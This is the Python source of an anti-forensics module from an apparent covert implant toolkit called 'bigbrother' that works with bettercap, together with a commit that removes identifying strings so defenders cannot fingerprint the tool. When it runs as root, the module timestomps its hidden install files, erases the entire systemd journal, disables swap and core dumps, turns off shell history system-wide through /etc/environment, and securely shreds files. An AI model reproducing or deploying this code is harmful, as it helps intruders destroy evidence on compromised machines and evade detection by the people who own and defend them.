Files
bigbrother/modules/stealth/anti_forensics.py
T
Cobra ffd384f64b Strip OPSEC tool identity fingerprints
Replace all sensor.* logger namespaces with __name__ (generic module
identifiers instead of discoverable 'sensor.*' prefixes).

Change hardcoded 'bb' API user to 'admin' in config and code defaults.

Change hardcoded relay_user 'bb' to 'operator' — prevents network
profiling from exposing tool identity via SSH config.

Fixes #457, #458, #459
2026-04-08 22:18:35 -04:00

294 lines
11 KiB
Python

#!/usr/bin/env python3
"""Anti-forensics module: timestomping, core dump suppression, swap disable,
journal cleaning, history suppression, secure deletion."""
import logging
import os
import subprocess
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
from utils.stealth import (
disable_core_dumps,
hide_from_history,
set_sysctl,
timestomp,
timestomp_recursive,
_get_os_install_time,
)
logger = logging.getLogger(__name__)
# SystemMonitor install root (default; overridden by config)
BB_ROOT = "/opt/.cache/bb"
class AntiForensics(BaseModule):
"""Apply anti-forensic hardening: timestomp, swap off, core dumps off,
journal vacuum, history suppression, bettercap tmpfs home."""
name = "anti_forensics"
module_type = "stealth"
priority = -400
requires_root = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._measures: dict[str, bool] = {
"timestomp": False,
"core_dumps_disabled": False,
"swap_disabled": False,
"journal_cleaned": False,
"history_suppressed": False,
"bettercap_tmpfs_home": False,
}
self._bb_root = config.get("bb_root", BB_ROOT)
self._timestomp_ref = config.get("timestomp_reference", "/etc/os-release")
self._files_stomped = 0
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
self._running = True
self._start_time = time.time()
self._pid = os.getpid()
logger.info("AntiForensics starting — applying all measures")
self._apply_timestomp()
self._disable_core_dumps()
self._disable_swap()
self._clean_journal()
self._suppress_history()
self._set_bettercap_tmpfs_home()
self.state.set_module_status(self.name, "running", pid=self._pid)
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
logger.info("AntiForensics active — measures: %s", self._measures)
def stop(self) -> None:
"""Anti-forensic measures persist intentionally — nothing to undo."""
self._running = False
self.state.set_module_status(self.name, "stopped")
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
logger.info("AntiForensics stopped (measures remain in effect)")
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"measures": dict(self._measures),
"files_stomped": self._files_stomped,
}
def configure(self, config: dict) -> None:
if "bb_root" in config:
self._bb_root = config["bb_root"]
if "timestomp_reference" in config:
self._timestomp_ref = config["timestomp_reference"]
# ------------------------------------------------------------------
# Timestomping
# ------------------------------------------------------------------
def _apply_timestomp(self) -> None:
"""Timestomp all SystemMonitor files to OS install date."""
try:
ref_time = self._get_reference_time()
if os.path.isdir(self._bb_root):
self._files_stomped = timestomp_recursive(
self._bb_root, epoch=ref_time,
)
logger.info("Timestomped %d files under %s", self._files_stomped, self._bb_root)
self._measures["timestomp"] = True
except Exception:
logger.exception("Timestomp failed")
self._measures["timestomp"] = False
def _get_reference_time(self) -> float:
"""Determine OS install timestamp for timestomping."""
# Try explicit reference first
if self._timestomp_ref and os.path.exists(self._timestomp_ref):
try:
return os.stat(self._timestomp_ref).st_mtime
except OSError:
pass
# Fallback via utils helper
return _get_os_install_time()
# ------------------------------------------------------------------
# Core dumps
# ------------------------------------------------------------------
def _disable_core_dumps(self) -> None:
"""Disable core dumps via rlimit, sysctl, and prctl."""
try:
success = disable_core_dumps()
# Also set via ulimit for child processes
try:
import resource
resource.setrlimit(resource.RLIMIT_CORE, (0, 0))
except Exception:
pass
self._measures["core_dumps_disabled"] = success
if success:
logger.info("Core dumps disabled")
else:
logger.warning("Core dump disable partially failed")
except Exception:
logger.exception("Core dump disable failed")
self._measures["core_dumps_disabled"] = False
# ------------------------------------------------------------------
# Swap
# ------------------------------------------------------------------
def _disable_swap(self) -> None:
"""Disable all swap to prevent sensitive data hitting disk."""
try:
result = subprocess.run(
["swapoff", "-a"],
capture_output=True, timeout=30,
)
self._measures["swap_disabled"] = result.returncode == 0
if result.returncode == 0:
logger.info("Swap disabled (swapoff -a)")
else:
logger.warning("swapoff -a returned %d: %s",
result.returncode, result.stderr.decode(errors="replace"))
except FileNotFoundError:
logger.warning("swapoff not found")
self._measures["swap_disabled"] = False
except Exception:
logger.exception("Swap disable failed")
self._measures["swap_disabled"] = False
# ------------------------------------------------------------------
# Journal cleaning
# ------------------------------------------------------------------
def _clean_journal(self) -> None:
"""Vacuum journal entries that might reference SystemMonitor components."""
try:
# Vacuum to 1s to remove old entries we may have generated
result = subprocess.run(
["journalctl", "--vacuum-time=1s"],
capture_output=True, timeout=30,
)
self._measures["journal_cleaned"] = result.returncode == 0
if result.returncode == 0:
logger.info("Journal vacuumed")
except FileNotFoundError:
# No systemd journal on this system
self._measures["journal_cleaned"] = True
except Exception:
logger.exception("Journal vacuum failed")
self._measures["journal_cleaned"] = False
# ------------------------------------------------------------------
# Shell history suppression
# ------------------------------------------------------------------
def _suppress_history(self) -> None:
"""Set HISTFILE=/dev/null for current and future shells."""
try:
success = hide_from_history()
# Also write to /etc/environment for all sessions
try:
env_file = Path("/etc/environment")
if env_file.exists():
content = env_file.read_text()
lines_to_add = []
if "HISTFILE=" not in content:
lines_to_add.append("HISTFILE=/dev/null")
if "HISTSIZE=" not in content:
lines_to_add.append("HISTSIZE=0")
if lines_to_add:
with open(env_file, "a") as f:
for line in lines_to_add:
f.write(f"\n{line}")
except PermissionError:
pass
self._measures["history_suppressed"] = success
if success:
logger.info("Shell history suppressed")
except Exception:
logger.exception("History suppression failed")
self._measures["history_suppressed"] = False
# ------------------------------------------------------------------
# Bettercap tmpfs home
# ------------------------------------------------------------------
def _set_bettercap_tmpfs_home(self) -> None:
"""Point $HOME to a tmpfs path so bettercap writes ~/.bettercap/ to RAM."""
try:
tmpfs_home = "/dev/shm/.bb_home"
os.makedirs(tmpfs_home, mode=0o700, exist_ok=True)
os.environ["HOME"] = tmpfs_home
# Create minimal .bettercap dir so bettercap doesn't complain
bettercap_dir = os.path.join(tmpfs_home, ".bettercap")
os.makedirs(bettercap_dir, mode=0o700, exist_ok=True)
self._measures["bettercap_tmpfs_home"] = True
logger.info("Bettercap HOME set to tmpfs: %s", tmpfs_home)
except Exception:
logger.exception("Bettercap tmpfs HOME setup failed")
self._measures["bettercap_tmpfs_home"] = False
# ------------------------------------------------------------------
# Secure deletion utility
# ------------------------------------------------------------------
@staticmethod
def secure_delete(path: str, passes: int = 3) -> bool:
"""Securely delete a file: 3-pass overwrite (random, zero, random) then unlink.
Falls back to simple unlink if shred is unavailable.
"""
if not os.path.isfile(path):
return False
try:
result = subprocess.run(
["shred", "-n", str(passes), "-z", "-u", path],
capture_output=True, timeout=60,
)
if result.returncode == 0:
return True
except FileNotFoundError:
pass
except Exception:
pass
# Fallback: manual overwrite
try:
size = os.path.getsize(path)
with open(path, "r+b") as f:
# Pass 1: random
f.seek(0)
f.write(os.urandom(size))
f.flush()
os.fsync(f.fileno())
# Pass 2: zeros
f.seek(0)
f.write(b"\x00" * size)
f.flush()
os.fsync(f.fileno())
# Pass 3: random
f.seek(0)
f.write(os.urandom(size))
f.flush()
os.fsync(f.fileno())
os.unlink(path)
return True
except Exception:
# Last resort: just delete
try:
os.unlink(path)
except OSError:
return False
return True